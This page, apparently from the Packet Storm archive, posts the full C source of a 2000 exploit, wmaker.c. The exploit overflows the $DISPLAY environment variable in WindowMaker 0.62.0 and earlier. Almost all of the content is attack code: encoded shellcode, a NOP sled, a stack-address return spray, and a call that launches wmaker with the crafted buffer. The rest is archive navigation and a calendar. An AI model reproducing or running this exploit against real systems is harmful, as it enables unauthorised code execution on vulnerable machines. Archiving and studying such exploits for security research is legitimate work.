what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

wmaker.c

wmaker.c
Posted Apr 24, 2000
Authored by Sectorx | Site xorteam.cjb.net

Windowmaker 0.62.0 buffer overflow exploit - Although wmaker is not suid by default, this code will overflow the $DISPLAY environment variable.

tags | exploit, overflow
SHA-256 | b98763e09a49cfb34054e919d503acf4584f861224878015ea7919bd5bb66904

wmaker.c

Change Mirror Download
/*

WindowMaker <= 0.62.0 (and maybe newer) overflow
by SectorX of XOR TEAM

for more information please refer to XOR TEAM's homepage at http://xorteam.cjb.net
note: i supplied the offset 0x4 since it worked for me, but it most likely
wont work for you since my WindowMaker code is modified and self compiled.
if you find an offset on any precompiled binaries please let me know, thanx.

*/
#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define LEN 1004
#define OFFSET 0x4

char shellcode[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";

long get_sp() { __asm__("mov %esp, %eax"); }

int main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long stack = get_sp ();
int offset;

fprintf(stderr, "WindowMaker overflow by SectorX\n\n");
offset = OFFSET;
if (argc > 1)
offset = atoi(argv[1]);
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = stack + offset;
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
memcpy (buffer + i, shellcode, strlen (shellcode));
printf("Using address 0x%x, offset = 0x%x\n",stack+offset,offset);
printf("Setting environment variable ... ");
setenv("DISPLAY",buffer,1);
printf("done\n\n");
system("/usr/local/bin/wmaker");
return 0;
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close